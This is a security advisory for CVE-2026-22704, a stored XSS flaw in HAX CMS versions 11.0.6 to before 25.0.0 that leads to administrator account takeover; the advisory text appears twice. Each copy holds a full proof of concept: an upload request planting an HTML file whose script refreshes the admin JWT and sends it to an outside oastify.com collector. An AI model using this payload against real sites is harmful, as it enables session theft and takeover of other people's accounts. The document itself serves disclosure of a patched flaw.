CVE-2026-22704

HAX CMS helps manage microsite universe with PHP or NodeJs backends. In versions 11.0.6 to before 25.0.0, HAX CMS is vulnerable to stored XSS, which could lead to account takeover. This issue has been patched in version 25.0.0.

HAX CMS helps manage microsite universe with PHP or NodeJs backends. In versions 11.0.6 to before 25.0.0, HAX CMS is vulnerable to stored XSS, which could lead to account takeover. This issue has been patched in version 25.0.0.

Summary

Stored XSS Leading to Account Takeover

Details

The Exploit Chain: 1.Upload: The attacker uploads an .html file containing a JavaScript payload. 2.Execution: A logged-in administrator is tricked into visiting the URL of this uploaded file. 3.Token Refresh: The JavaScript payload makes a fetch request to the /system/api/refreshAccessToken endpoint. Because the administrator is logged in, their browser automatically attaches the haxcms_refresh_token cookie to this request. 4.JWT Theft: The server validates the refresh token and responds with a new, valid JWT access token in the JSON response. 5.Exfiltration: The JavaScript captures this new JWT from the response and sends it to an attacker-controlled server. 6.Account Takeover: The attacker now possesses a valid administrator JWT and can take full control of the application.

Vulnerability recurrence:

<img width="1198" height="756" alt="image" src="https://github.com/user-attachments/assets/7062d542-702e-4cbe-8493-da0f71e790c3" />

Then we test access to this html

<img width="1433" height="1019" alt="image" src="https://github.com/user-attachments/assets/6c72c92f-a151-4b0e-b6ba-d83ffb771253" />

You can obtain other people's identity information

<img width="1082" height="290" alt="image" src="https://github.com/user-attachments/assets/23398ea4-f08c-47bd-b2f1-89071af0e275" />

PoC

POST /system/api/saveFile?siteName=yu&site_token=neWmRyvNbCCwiQ7MP2ojAjVMk-HtjlKYNOqsQjLt3RQ&jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IlVqUzd6NFRFano1Q2xUMERiNnU0RmFROWJZSXgyMjd5OHN2NzRWb1hLbFkiLCJpYXQiOjE3NTUyNDYxODYsImV4cCI6MTc1NTI0NzA4NiwidXNlciI6ImFkbWluIn0.XrXr427aKbyw97aDjD2OX128DznGtw_CHMALAeodb0M HTTP/1.1 Host: 192.168.1.72:8080 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW Connection: close Content-Length: 1128

------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="bulk-import"

true ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="file-upload"; filename="files/pwn1116.html" Content-Type: text/plain

<script> // This version adds headers to make the request look more legitimate. fetch('/system/api/refreshAccessToken', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: '{}' // Sending an empty JSON object body }) .then(response => { if (!response.ok) { throw new Error('Network response was not ok ' + response.statusText); } return response.json(); }) .then(data => { var stolenJWT = data.jwt; var attackerUrl = 'https://zqtqii0n7ptm168btd4htrntrkxbl29r.oastify.com/log?jwt=' + stolenJWT; fetch(attackerUrl); }) .catch(error => { var attackerUrl = 'https://zqtqii0n7ptm168btd4htrntrkxbl29r.oastify.com/log?error=' + error.message; fetch(attackerUrl); }); </script>

<h1>Processing your request...</h1> ------WebKitFormBoundary7MA4YWxkTrZu0gW--

Impact

The attacker now possesses a valid administrator JWT and can take full control of the application.

HAX CMS helps manage microsite universe with PHP or NodeJs backends. In versions 11.0.6 to before 25.0.0, HAX CMS is vulnerable to stored XSS, which could lead to account takeover. This issue has been patched in version 25.0.0.

HAX CMS helps manage microsite universe with PHP or NodeJs backends. In versions 11.0.6 to before 25.0.0, HAX CMS is vulnerable to stored XSS, which could lead to account takeover. This issue has been patched in version 25.0.0.

Summary

Stored XSS Leading to Account Takeover

Details

The Exploit Chain: 1.Upload: The attacker uploads an .html file containing a JavaScript payload. 2.Execution: A logged-in administrator is tricked into visiting the URL of this uploaded file. 3.Token Refresh: The JavaScript payload makes a fetch request to the /system/api/refreshAccessToken endpoint. Because the administrator is logged in, their browser automatically attaches the haxcms_refresh_token cookie to this request. 4.JWT Theft: The server validates the refresh token and responds with a new, valid JWT access token in the JSON response. 5.Exfiltration: The JavaScript captures this new JWT from the response and sends it to an attacker-controlled server. 6.Account Takeover: The attacker now possesses a valid administrator JWT and can take full control of the application.

Vulnerability recurrence:

<img width="1198" height="756" alt="image" src="https://github.com/user-attachments/assets/7062d542-702e-4cbe-8493-da0f71e790c3" />

Then we test access to this html

<img width="1433" height="1019" alt="image" src="https://github.com/user-attachments/assets/6c72c92f-a151-4b0e-b6ba-d83ffb771253" />

You can obtain other people's identity information

<img width="1082" height="290" alt="image" src="https://github.com/user-attachments/assets/23398ea4-f08c-47bd-b2f1-89071af0e275" />

PoC

POST /system/api/saveFile?siteName=yu&site_token=neWmRyvNbCCwiQ7MP2ojAjVMk-HtjlKYNOqsQjLt3RQ&jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IlVqUzd6NFRFano1Q2xUMERiNnU0RmFROWJZSXgyMjd5OHN2NzRWb1hLbFkiLCJpYXQiOjE3NTUyNDYxODYsImV4cCI6MTc1NTI0NzA4NiwidXNlciI6ImFkbWluIn0.XrXr427aKbyw97aDjD2OX128DznGtw_CHMALAeodb0M HTTP/1.1 Host: 192.168.1.72:8080 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW Connection: close Content-Length: 1128

------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="bulk-import"

true ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="file-upload"; filename="files/pwn1116.html" Content-Type: text/plain

<script> // This version adds headers to make the request look more legitimate. fetch('/system/api/refreshAccessToken', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: '{}' // Sending an empty JSON object body }) .then(response => { if (!response.ok) { throw new Error('Network response was not ok ' + response.statusText); } return response.json(); }) .then(data => { var stolenJWT = data.jwt; var attackerUrl = 'https://zqtqii0n7ptm168btd4htrntrkxbl29r.oastify.com/log?jwt=' + stolenJWT; fetch(attackerUrl); }) .catch(error => { var attackerUrl = 'https://zqtqii0n7ptm168btd4htrntrkxbl29r.oastify.com/log?error=' + error.message; fetch(attackerUrl); }); </script>

<h1>Processing your request...</h1> ------WebKitFormBoundary7MA4YWxkTrZu0gW--

Impact

The attacker now possesses a valid administrator JWT and can take full control of the application.